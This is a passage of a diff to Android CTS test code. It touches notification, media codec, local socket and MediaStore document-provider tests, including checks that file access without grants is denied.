-    public void testNotify_blockedChannelGroup() throws Exception {
-        mNotificationManager.cancelAll();
-
-        NotificationChannelGroup group = new NotificationChannelGroup(mId, "group name");
-        group.setBlocked(true);
-        mNotificationManager.createNotificationChannelGroup(group);
-        NotificationChannel channel =
-                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
-        channel.setGroup(mId);
-        mNotificationManager.createNotificationChannel(channel);
-
-        int id = 1;
-        final Notification notification =
-                new Notification.Builder(mContext, mId)
-                        .setSmallIcon(R.drawable.black)
-                        .setWhen(System.currentTimeMillis())
-                        .setContentTitle("notify#" + id)
-                        .setContentText("This is #" + id + "notification  ")
-                        .build();
-        mNotificationManager.notify(id, notification);
-
-        if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
-            fail("found unexpected notification id=" + id);
-        }
-    }
-
     public void testCancel() throws Exception {
         final int id = 9;
         sendNotification(id, R.drawable.black);
diff --git a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
index e803863..ae9054f 100644
--- a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
+++ b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
@@ -219,6 +219,7 @@
             queueEOS();
             waitForAllOutputs();
             mCodec.reset();
+            mCodec.release();
         }
         tearDownSurface();
     }
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
index 832127d..457ebf7 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
@@ -706,7 +706,6 @@
     private native boolean nativeTestSetForceSyncFrame(String encoder, String file, String mime,
             int[] list0, int[] list1, int[] list2, int colorFormat);
 
-    @Ignore("TODO(b/) = test sometimes timesout")
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSetForceSyncFrameNative() throws IOException {
@@ -742,8 +741,6 @@
         mOutputBuff = new OutputManager();
         mSaveToMem = true;
         {
-            /* TODO(b/147574800) */
-            if (mCodecName.equals("c2.android.hevc.encoder")) return;
             mCodec = MediaCodec.createByCodecName(mCodecName);
             format.removeKey(MediaFormat.KEY_BITRATE_MODE);
             MediaCodecInfo.EncoderCapabilities cap =
@@ -803,7 +800,6 @@
     private native boolean nativeTestAdaptiveBitRate(String encoder, String file, String mime,
             int[] list0, int[] list1, int[] list2, int colorFormat);
 
-    @Ignore("TODO(b/) = test sometimes timesout")
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testAdaptiveBitRateNative() throws IOException {
@@ -811,8 +807,6 @@
             mAdaptiveBitrateMimeList.contains(mMime));
         int colorFormat = -1;
         {
-            /* TODO(b/147574800) */
-            if (mCodecName.equals("c2.android.hevc.encoder")) return;
             if (!mIsAudio) {
                 colorFormat = findByteBufferColorFormat(mCodecName, mMime);
                 assertTrue("no valid color formats received", colorFormat != -1);
diff --git a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
index f7466b0..15f5e65 100644
--- a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
@@ -51,10 +51,10 @@
         mCheckESList = new ArrayList<>();
         mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
         mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
-        /* TODO (b/165492703) Mpeg2 and (b/165787556) AV1 has problems in signalling color
+        /* TODO (b/165492703) Mpeg2 has problems in signalling color
             aspects information via elementary stream. */
         // mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_MPEG2);
-        // mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
         mCanIgnoreColorBox = canIgnoreColorBox;
     }
 
diff --git a/tests/net/Android.bp b/tests/net/Android.bp
new file mode 100644
index 0000000..2a4153a
--- /dev/null
+++ b/tests/net/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "CtsNetTestsNonUpdatableLib",
+    srcs: ["src/**/*.java"],
+    static_libs: ["androidx.test.rules"],
+    platform_apis: true,
+}
diff --git a/tests/net/OWNERS b/tests/net/OWNERS
new file mode 100644
index 0000000..67e4fc9
--- /dev/null
+++ b/tests/net/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 31808
+set noparent
+file:platform/packages/modules/Connectivity:master:/OWNERS_core_networking_xts
\ No newline at end of file
diff --git a/tests/net/TEST_MAPPING b/tests/net/TEST_MAPPING
new file mode 100644
index 0000000..a6a02d5
--- /dev/null
+++ b/tests/net/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "imports": [
+    {
+      "path": "packages/modules/Connectivity"
+    }
+  ]
+}
diff --git a/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/net/src/android/net/cts/LocalSocketTest.java
new file mode 100644
index 0000000..969f706
--- /dev/null
+++ b/tests/net/src/android/net/cts/LocalSocketTest.java
@@ -0,0 +1,471 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import android.net.Credentials;
+import android.net.LocalServerSocket;
+import android.net.LocalSocket;
+import android.net.LocalSocketAddress;
+import android.os.ParcelFileDescriptor;
+import android.system.Os;
+import android.system.OsConstants;
+
+import junit.framework.TestCase;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+public class LocalSocketTest extends TestCase {
+    private final static String ADDRESS_PREFIX = "com.android.net.LocalSocketTest";
+
+    public void testLocalConnections() throws IOException {
+        String address = ADDRESS_PREFIX + "_testLocalConnections";
+        // create client and server socket
+        LocalServerSocket localServerSocket = new LocalServerSocket(address);
+        LocalSocket clientSocket = new LocalSocket();
+
+        // establish connection between client and server
+        LocalSocketAddress locSockAddr = new LocalSocketAddress(address);
+        assertFalse(clientSocket.isConnected());
+        clientSocket.connect(locSockAddr);
+        assertTrue(clientSocket.isConnected());
+
+        LocalSocket serverSocket = localServerSocket.accept();
+        assertTrue(serverSocket.isConnected());
+        assertTrue(serverSocket.isBound());
+        try {
+            serverSocket.bind(localServerSocket.getLocalSocketAddress());
+            fail("Cannot bind a LocalSocket from accept()");
+        } catch (IOException expected) {
+        }
+        try {
+            serverSocket.connect(locSockAddr);
+            fail("Cannot connect a LocalSocket from accept()");
+        } catch (IOException expected) {
+        }
+
+        Credentials credent = clientSocket.getPeerCredentials();
+        assertTrue(0 != credent.getPid());
+
+        // send data from client to server
+        OutputStream clientOutStream = clientSocket.getOutputStream();
+        clientOutStream.write(12);
+        InputStream serverInStream = serverSocket.getInputStream();
+        assertEquals(12, serverInStream.read());
+
+        //send data from server to client
+        OutputStream serverOutStream = serverSocket.getOutputStream();
+        serverOutStream.write(3);
+        InputStream clientInStream = clientSocket.getInputStream();
+        assertEquals(3, clientInStream.read());
+
+        // Test sending and receiving file descriptors
+        clientSocket.setFileDescriptorsForSend(new FileDescriptor[]{FileDescriptor.in});
+        clientOutStream.write(32);
+        assertEquals(32, serverInStream.read());
+
+        FileDescriptor[] out = serverSocket.getAncillaryFileDescriptors();
+        assertEquals(1, out.length);
+        FileDescriptor fd = clientSocket.getFileDescriptor();
+        assertTrue(fd.valid());
+
+        //shutdown input stream of client
+        clientSocket.shutdownInput();
+        assertEquals(-1, clientInStream.read());
+
+        //shutdown output stream of client
+        clientSocket.shutdownOutput();
+        try {
+            clientOutStream.write(10);
+            fail("testLocalSocket shouldn't come to here");
+        } catch (IOException e) {
+            // expected
+        }
+
+        //shutdown input stream of server
+        serverSocket.shutdownInput();
+        assertEquals(-1, serverInStream.read());
+
+        //shutdown output stream of server
+        serverSocket.shutdownOutput();
+        try {
+            serverOutStream.write(10);
+            fail("testLocalSocket shouldn't come to here");
+        } catch (IOException e) {
+            // expected
+        }
+
+        //close client socket
+        clientSocket.close();
+        try {
+            clientInStream.read();
+            fail("testLocalSocket shouldn't come to here");
+        } catch (IOException e) {
+            // expected
+        }
+
+        //close server socket
+        serverSocket.close();
+        try {
+            serverInStream.read();
+            fail("testLocalSocket shouldn't come to here");
+        } catch (IOException e) {
+            // expected
+        }
+    }
+
+    public void testAccessors() throws IOException {
+        String address = ADDRESS_PREFIX + "_testAccessors";
+        LocalSocket socket = new LocalSocket();
+        LocalSocketAddress addr = new LocalSocketAddress(address);
+
+        assertFalse(socket.isBound());
+        socket.bind(addr);
+        assertTrue(socket.isBound());
+        assertEquals(addr, socket.getLocalSocketAddress());
+
+        String str = socket.toString();
+        assertTrue(str.contains("impl:android.net.LocalSocketImpl"));
+
+        socket.setReceiveBufferSize(1999);
+        assertEquals(1999 << 1, socket.getReceiveBufferSize());
+
+        socket.setSendBufferSize(3998);
+        assertEquals(3998 << 1, socket.getSendBufferSize());
+
+        assertEquals(0, socket.getSoTimeout());
+        socket.setSoTimeout(1996);
+        assertTrue(socket.getSoTimeout() > 0);
+
+        try {
+            socket.getRemoteSocketAddress();
+            fail("testLocalSocketSecondary shouldn't come to here");
+        } catch (UnsupportedOperationException e) {
+            // expected
+        }
+
+        try {
+            socket.isClosed();
+            fail("testLocalSocketSecondary shouldn't come to here");
+        } catch (UnsupportedOperationException e) {
+            // expected
+        }
+
+        try {
+            socket.isInputShutdown();
+            fail("testLocalSocketSecondary shouldn't come to here");
+        } catch (UnsupportedOperationException e) {
+            // expected
+        }
+
+        try {
+            socket.isOutputShutdown();
+            fail("testLocalSocketSecondary shouldn't come to here");
+        } catch (UnsupportedOperationException e) {
+            // expected
+        }
+
+        try {
+            socket.connect(addr, 2005);
+            fail("testLocalSocketSecondary shouldn't come to here");
+        } catch (UnsupportedOperationException e) {
+            // expected
+        }
+
+        socket.close();
+    }
+
+    // http://b/31205169
+    public void testSetSoTimeout_readTimeout() throws Exception {
+        String address = ADDRESS_PREFIX + "_testSetSoTimeout_readTimeout";
+
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            final LocalSocket clientSocket = socketPair.clientSocket;
+
+            // Set the timeout in millis.
+            int timeoutMillis = 1000;
+            clientSocket.setSoTimeout(timeoutMillis);
+
+            // Avoid blocking the test run if timeout doesn't happen by using a separate thread.
+            Callable<Result> reader = () -> {
+                try {
+                    clientSocket.getInputStream().read();
+                    return Result.noException("Did not block");
+                } catch (IOException e) {
+                    return Result.exception(e);
+                }
+            };
+            // Allow the configured timeout, plus some slop.
+            int allowedTime = timeoutMillis + 2000;
+            Result result = runInSeparateThread(allowedTime, reader);
+
+            // Check the message was a timeout, it's all we have to go on.
+            String expectedMessage = Os.strerror(OsConstants.EAGAIN);
+            result.assertThrewIOException(expectedMessage);
+        }
+    }
+
+    // http://b/31205169
+    public void testSetSoTimeout_writeTimeout() throws Exception {
+        String address = ADDRESS_PREFIX + "_testSetSoTimeout_writeTimeout";
+
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            final LocalSocket clientSocket = socketPair.clientSocket;
+
+            // Set the timeout in millis.
+            int timeoutMillis = 1000;
+            clientSocket.setSoTimeout(timeoutMillis);
+
+            // Set a small buffer size so we know we can flood it.
+            clientSocket.setSendBufferSize(100);
+            final int bufferSize = clientSocket.getSendBufferSize();
+
+            // Avoid blocking the test run if timeout doesn't happen by using a separate thread.
+            Callable<Result> writer = () -> {
+                try {
+                    byte[] toWrite = new byte[bufferSize * 2];
+                    clientSocket.getOutputStream().write(toWrite);
+                    return Result.noException("Did not block");
+                } catch (IOException e) {
+                    return Result.exception(e);
+                }
+            };
+            // Allow the configured timeout, plus some slop.
+            int allowedTime = timeoutMillis + 2000;
+
+            Result result = runInSeparateThread(allowedTime, writer);
+
+            // Check the message was a timeout, it's all we have to go on.
+            String expectedMessage = Os.strerror(OsConstants.EAGAIN);
+            result.assertThrewIOException(expectedMessage);
+        }
+    }
+
+    public void testAvailable() throws Exception {
+        String address = ADDRESS_PREFIX + "_testAvailable";
+
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            LocalSocket clientSocket = socketPair.clientSocket;
+            LocalSocket serverSocket = socketPair.serverSocket.accept();
+
+            OutputStream clientOutputStream = clientSocket.getOutputStream();
+            InputStream serverInputStream = serverSocket.getInputStream();
+            assertEquals(0, serverInputStream.available());
+
+            byte[] buffer = new byte[50];
+            clientOutputStream.write(buffer);
+            assertEquals(50, serverInputStream.available());
+
+            InputStream clientInputStream = clientSocket.getInputStream();
+            OutputStream serverOutputStream = serverSocket.getOutputStream();
+            assertEquals(0, clientInputStream.available());
+            serverOutputStream.write(buffer);
+            assertEquals(50, serverInputStream.available());
+
+            serverSocket.close();
+        }
+    }
+
+    // http://b/34095140
+    public void testLocalSocketCreatedFromFileDescriptor() throws Exception {
+        String address = ADDRESS_PREFIX + "_testLocalSocketCreatedFromFileDescriptor";
+
+        // Establish connection between a local client and server to get a valid client socket file
+        // descriptor.
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            // Extract the client FileDescriptor we can use.
+            FileDescriptor fileDescriptor = socketPair.clientSocket.getFileDescriptor();
+            assertTrue(fileDescriptor.valid());
+
+            // Create the LocalSocket we want to test.
+            LocalSocket clientSocketCreatedFromFileDescriptor =
+                    LocalSocket.createConnectedLocalSocket(fileDescriptor);
+            assertTrue(clientSocketCreatedFromFileDescriptor.isConnected());
+            assertTrue(clientSocketCreatedFromFileDescriptor.isBound());
+
+            // Test the LocalSocket can be used for communication.
+            LocalSocket serverSocket = socketPair.serverSocket.accept();
+            OutputStream clientOutputStream =
+                    clientSocketCreatedFromFileDescriptor.getOutputStream();
+            InputStream serverInputStream = serverSocket.getInputStream();
+
+            clientOutputStream.write(12);
+            assertEquals(12, serverInputStream.read());
+
+            // Closing clientSocketCreatedFromFileDescriptor does not close the file descriptor.
+            clientSocketCreatedFromFileDescriptor.close();
+            assertTrue(fileDescriptor.valid());
+
+            // .. while closing the LocalSocket that owned the file descriptor does.
+            socketPair.clientSocket.close();
+            assertFalse(fileDescriptor.valid());
+        }
+    }
+
+    public void testFlush() throws Exception {
+        String address = ADDRESS_PREFIX + "_testFlush";
+
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            LocalSocket clientSocket = socketPair.clientSocket;
+            LocalSocket serverSocket = socketPair.serverSocket.accept();
+
+            OutputStream clientOutputStream = clientSocket.getOutputStream();
+            InputStream serverInputStream = serverSocket.getInputStream();
+            testFlushWorks(clientOutputStream, serverInputStream);
+
+            OutputStream serverOutputStream = serverSocket.getOutputStream();
+            InputStream clientInputStream = clientSocket.getInputStream();
+            testFlushWorks(serverOutputStream, clientInputStream);
+
+            serverSocket.close();
+        }
+    }
+
+    private void testFlushWorks(OutputStream outputStream, InputStream inputStream)
+            throws Exception {
+        final int bytesToTransfer = 50;
+        StreamReader inputStreamReader = new StreamReader(inputStream, bytesToTransfer);
+
+        byte[] buffer = new byte[bytesToTransfer];
+        outputStream.write(buffer);
+        assertEquals(bytesToTransfer, inputStream.available());
+
+        // Start consuming the data.
+        inputStreamReader.start();
+
+        // This doesn't actually flush any buffers, it just polls until the reader has read all the
+        // bytes.
+        outputStream.flush();
+
+        inputStreamReader.waitForCompletion(5000);
+        inputStreamReader.assertBytesRead(bytesToTransfer);
+        assertEquals(0, inputStream.available());
+    }
+
+    private static class StreamReader extends Thread {
+        private final InputStream is;
+        private final int expectedByteCount;
+        private final CountDownLatch completeLatch = new CountDownLatch(1);
+
+        private volatile Exception exception;
+        private int bytesRead;
+
+        private StreamReader(InputStream is, int expectedByteCount) {
+            this.is = is;
+            this.expectedByteCount = expectedByteCount;
+        }
+
+        @Override
+        public void run() {
+            try {
+                byte[] buffer = new byte[10];
+                int readCount;
+                while ((readCount = is.read(buffer)) >= 0) {
+                    bytesRead += readCount;
+                    if (bytesRead >= expectedByteCount) {
+                        break;
+                    }
+                }
+            } catch (IOException e) {
+                exception = e;
+            } finally {
+                completeLatch.countDown();
+            }
+        }
+
+        public void waitForCompletion(long waitMillis) throws Exception {
+            if (!completeLatch.await(waitMillis, TimeUnit.MILLISECONDS)) {
+                fail("Timeout waiting for completion");
+            }
+            if (exception != null) {
+                throw new Exception("Read failed", exception);
+            }
+        }
+
+        public void assertBytesRead(int expected) {
+            assertEquals(expected, bytesRead);
+        }
+    }
+
+    private static class Result {
+        private final String type;
+        private final Exception e;
+
+        private Result(String type, Exception e) {
+            this.type = type;
+            this.e = e;
+        }
+
+        static Result noException(String description) {
+            return new Result(description, null);
+        }
+
+        static Result exception(Exception e) {
+            return new Result(e.getClass().getName(), e);
+        }
+
+        void assertThrewIOException(String expectedMessage) {
+            assertEquals("Unexpected result type", IOException.class.getName(), type);
+            assertEquals("Unexpected exception message", expectedMessage, e.getMessage());
+        }
+    }
+
+    private static Result runInSeparateThread(int allowedTime, final Callable<Result> callable)
+            throws Exception {
+        ExecutorService service = Executors.newSingleThreadScheduledExecutor();
+        Future<Result> future = service.submit(callable);
+        Result result = future.get(allowedTime, TimeUnit.MILLISECONDS);
+        if (!future.isDone()) {
+            fail("Worker thread appears blocked");
+        }
+        return result;
+    }
+
+    private static class LocalSocketPair implements AutoCloseable {
+        static LocalSocketPair createConnectedSocketPair(String address) throws Exception {
+            LocalServerSocket localServerSocket = new LocalServerSocket(address);
+            final LocalSocket clientSocket = new LocalSocket();
+
+            // Establish connection between client and server
+            LocalSocketAddress locSockAddr = new LocalSocketAddress(address);
+            clientSocket.connect(locSockAddr);
+            assertTrue(clientSocket.isConnected());
+            return new LocalSocketPair(localServerSocket, clientSocket);
+        }
+
+        final LocalServerSocket serverSocket;
+        final LocalSocket clientSocket;
+
+        LocalSocketPair(LocalServerSocket serverSocket, LocalSocket clientSocket) {
+            this.serverSocket = serverSocket;
+            this.clientSocket = clientSocket;
+        }
+
+        public void close() throws Exception {
+            serverSocket.close();
+            clientSocket.close();
+        }
+    }
+}
diff --git a/tests/providerui/AndroidManifest.xml b/tests/providerui/AndroidManifest.xml
index 2f1f791..a14df70 100644
--- a/tests/providerui/AndroidManifest.xml
+++ b/tests/providerui/AndroidManifest.xml
@@ -23,9 +23,7 @@
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_SETTINGS" />
 
     <!--
@@ -42,7 +40,7 @@
         </intent>
     </queries>
 
-    <application android:requestLegacyExternalStorage = "true">
+    <application>
         <uses-library android:name="android.test.runner"/>
         <activity android:name="android.providerui.cts.GetResultActivity" />
 
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 4342810..542b3aa 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -16,6 +16,8 @@
 
 package android.providerui.cts;
 
+import static android.provider.cts.ProviderTestUtils.resolveVolumeName;
+
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -26,12 +28,12 @@
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.ContentResolver;
+import android.content.ContentUris;
 import android.content.Context;
 import android.content.Intent;
 import android.content.UriPermission;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
-import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
@@ -39,7 +41,6 @@
 import android.os.ParcelFileDescriptor;
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
-import android.os.UserManager;
 import android.provider.DocumentsContract;
 import android.provider.MediaStore;
 import android.provider.cts.ProviderTestUtils;
@@ -50,12 +51,12 @@
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.system.Os;
 import android.text.format.DateUtils;
 import android.util.Log;
+import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -68,6 +69,7 @@
 import org.junit.runners.Parameterized.Parameters;
 
 import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
@@ -122,6 +124,7 @@
         mActivity = (GetResultActivity) mInstrumentation.startActivitySync(intent);
         mInstrumentation.waitForIdleSync();
         mActivity.clearResult();
+        mDevice.wakeUp();
     }
 
     @After
@@ -147,6 +150,7 @@
         if (!supportsHardware()) return;
 
         prepareFile();
+        clearDocumentsUi();
 
         final Uri treeUri = acquireAccess(mFile, Environment.DIRECTORY_DOCUMENTS);
         assertNotNull(treeUri);
@@ -171,10 +175,11 @@
     }
 
     @Test
-    public void testGetDocumentUri_ThrowsWithoutPermission() throws Exception {
+    public void testGetDocumentUri_throwsWithoutPermission() throws Exception {
         if (!supportsHardware()) return;
 
         prepareFile();
+        clearDocumentsUi();
 
         try {
             MediaStore.getDocumentUri(mActivity, mMediaStoreUri);
@@ -185,10 +190,11 @@
     }
 
     @Test
-    public void testGetDocumentUri_Symmetry_ExternalStorageProvider() throws Exception {
+    public void testGetDocumentUri_symmetry_externalStorageProvider() throws Exception {
         if (!supportsHardware()) return;
 
         prepareFile();
+        clearDocumentsUi();
 
         final Uri treeUri = acquireAccess(mFile, Environment.DIRECTORY_DOCUMENTS);
         Log.v(TAG, "Tree " + treeUri);
@@ -207,10 +213,10 @@
     }
 
     @Test
-    public void testGetMediaUriAccess_MediaDocumentsProvider() throws Exception {
+    public void testGetMediaUriAccess_mediaDocumentsProvider() throws Exception {
         if (!supportsHardware()) return;
 
-        prepareFile();
+        prepareFile("TEST");
         clearDocumentsUi();
         final Intent intent = new Intent();
         intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
@@ -228,6 +234,104 @@
         assertAccessToMediaUri(mediaUri, mFile);
     }
 
+    @Test
+    public void testOpenFile_onMediaDocumentsProvider_success() throws Exception {
+        if (!supportsHardware()) return;
+
+        final String rawText = "TEST";
+        // Stage a text file which contains raw text "TEST"
+        prepareFile(rawText);
+        clearDocumentsUi();
+        final Intent intent = new Intent();
+        intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
+        intent.addCategory(Intent.CATEGORY_OPENABLE);
+        intent.setType("*/*");
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+        mDevice.waitForIdle();
+
+        findDocument(mFile.getName()).click();
+        final Result result = mActivity.getResult();
+        final Uri uri = result.data.getData();
+        assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, uri.getAuthority());
+
+        // Test reading
+        final byte[] expected = rawText.getBytes();
+        final byte[] actual = new byte[4];
+        try (ParcelFileDescriptor fd = mContext.getContentResolver()
+                .openFileDescriptor(uri, "r")) {
+            Os.read(fd.getFileDescriptor(), actual, 0, actual.length);
+            assertArrayEquals(expected, actual);
+        }
+
+        // Test write and read after it
+        final byte[] writtenText = "Hello World".getBytes();
+        final byte[] readText = new byte[11];
+        try (ParcelFileDescriptor fd = mContext.getContentResolver()
+                .openFileDescriptor(uri, "wt")) {
+            Os.write(fd.getFileDescriptor(), writtenText, 0, writtenText.length);
+        }
+        try (ParcelFileDescriptor fd = mContext.getContentResolver()
+                .openFileDescriptor(uri, "r")) {
+            Os.read(fd.getFileDescriptor(), readText, 0, readText.length);
+            assertArrayEquals(writtenText, readText);
+        }
+    }
+
+    @Test
+    public void testOpenFile_onMediaDocumentsProvider_failsWithoutAccess() throws Exception {
+        if (!supportsHardware()) return;
+
+        clearDocumentsUi();
+        final Intent intent = new Intent();
+        intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
+        intent.addCategory(Intent.CATEGORY_OPENABLE);
+        intent.setType("*/*");
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+        mDevice.waitForIdle();
+
+        String rawText = "TEST";
+        // Read and write grants will be provided to the file associated with this pair.
+        // Stages a text file which contains raw text "TEST"
+        Pair<Uri, File> uriFilePairWithGrants =  prepareFileAndFetchDetails(rawText);
+        // Read and write grants will not be provided to the file associated with this pair
+        // Stages a text file which contains raw text "TEST"
+        Pair<Uri, File> uriFilePairWithoutGrants =  prepareFileAndFetchDetails(rawText);
+        // Get access grants
+        findDocument(uriFilePairWithGrants.second.getName()).click();
+        final Result result = mActivity.getResult();
+        final Uri docUriOfFileWithAccess = result.data.getData();
+        // Creating doc URI for file by string replacement
+        Uri docUriOfFileWithoutAccess = Uri.parse(docUriOfFileWithAccess.toSafeString().replaceAll(
+                String.valueOf(ContentUris.parseId(uriFilePairWithGrants.first)),
+                String.valueOf(ContentUris.parseId(uriFilePairWithoutGrants.first))));
+
+        try {
+            assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, docUriOfFileWithAccess.getAuthority());
+            assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY,
+                    docUriOfFileWithoutAccess.getAuthority());
+            // Test reading
+            try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor(
+                    docUriOfFileWithoutAccess, "r")) {
+                fail("Expecting security exception as file does not have read grants which "
+                        + "are provided through ACTION_OPEN_DOCUMENT intent.");
+            } catch (SecurityException expected) {
+                // Expected security exception as file does not have read grants
+            }
+            // Test writing
+            try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor(
+                    docUriOfFileWithoutAccess, "wt")) {
+                fail("Expecting security exception as file does not have write grants which "
+                        + "are provided through ACTION_OPEN_DOCUMENT intent.");
+            } catch (SecurityException expected) {
+                // Expected security exception as file does not have write grants
+            }
+        } finally {
+            // Deleting files
+            uriFilePairWithGrants.second.delete();
+            uriFilePairWithoutGrants.second.delete();
+        }
+    }
+
     private void assertAccessToMediaUri(Uri mediaUri, File file) {
         final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME};
         try (Cursor c = mContext.getContentResolver().query(
@@ -310,7 +414,7 @@
     }
 
     private void prepareFile() throws Exception {
-        final File dir = new File(getVolumePath(mVolumeName),
+        final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)),
                 Environment.DIRECTORY_DOCUMENTS);
         final File file = new File(dir, "cts" + System.nanoTime() + ".txt");
 
@@ -320,6 +424,29 @@
         Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
     }
 
+    private void prepareFile(String rawText) throws Exception {
+        final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)),
+                Environment.DIRECTORY_DOCUMENTS);
+        final File file = new File(dir, "cts" + System.nanoTime() + ".txt");
+
+        mFile = stageFileWithRawText(rawText, file);
+        mMediaStoreUri = MediaStore.scanFile(mContext.getContentResolver(), mFile);
+
+        Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
+    }
+
+    private Pair<Uri, File> prepareFileAndFetchDetails(String rawText) throws Exception {
+        final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)),
+                Environment.DIRECTORY_DOCUMENTS);
+        final File file = new File(dir, "cts" + System.nanoTime() + ".txt");
+
+        File stagedFile = stageFileWithRawText(rawText, file);
+
+        Uri uri = MediaStore.scanFile(mContext.getContentResolver(), stagedFile);
+        Log.v(TAG, "Staged " + stagedFile + " as " + uri);
+        return Pair.create(uri, stagedFile);
+    }
+
     private void assertToolbarTitleEquals(String targetPackageName, String label)
             throws UiObjectNotFoundException {
         final UiSelector toolbarUiSelector = new UiSelector().resourceId(
@@ -427,32 +554,28 @@
         // The caller may be trying to stage into a location only available to
         // the shell user, so we need to perform the entire copy as the shell
         final Context context = InstrumentationRegistry.getTargetContext();
-        UserManager userManager = context.getSystemService(UserManager.class);
-        if (userManager.isSystemUser() &&
-                 FileUtils.contains(Environment.getStorageDirectory(), file)) {
-            executeShellCommand("mkdir -p " + file.getParent());
+        final File dir = file.getParentFile();
+        dir.mkdirs();
+        if (!dir.exists()) {
+            throw new FileNotFoundException("Failed to create parent for " + file);
+        }
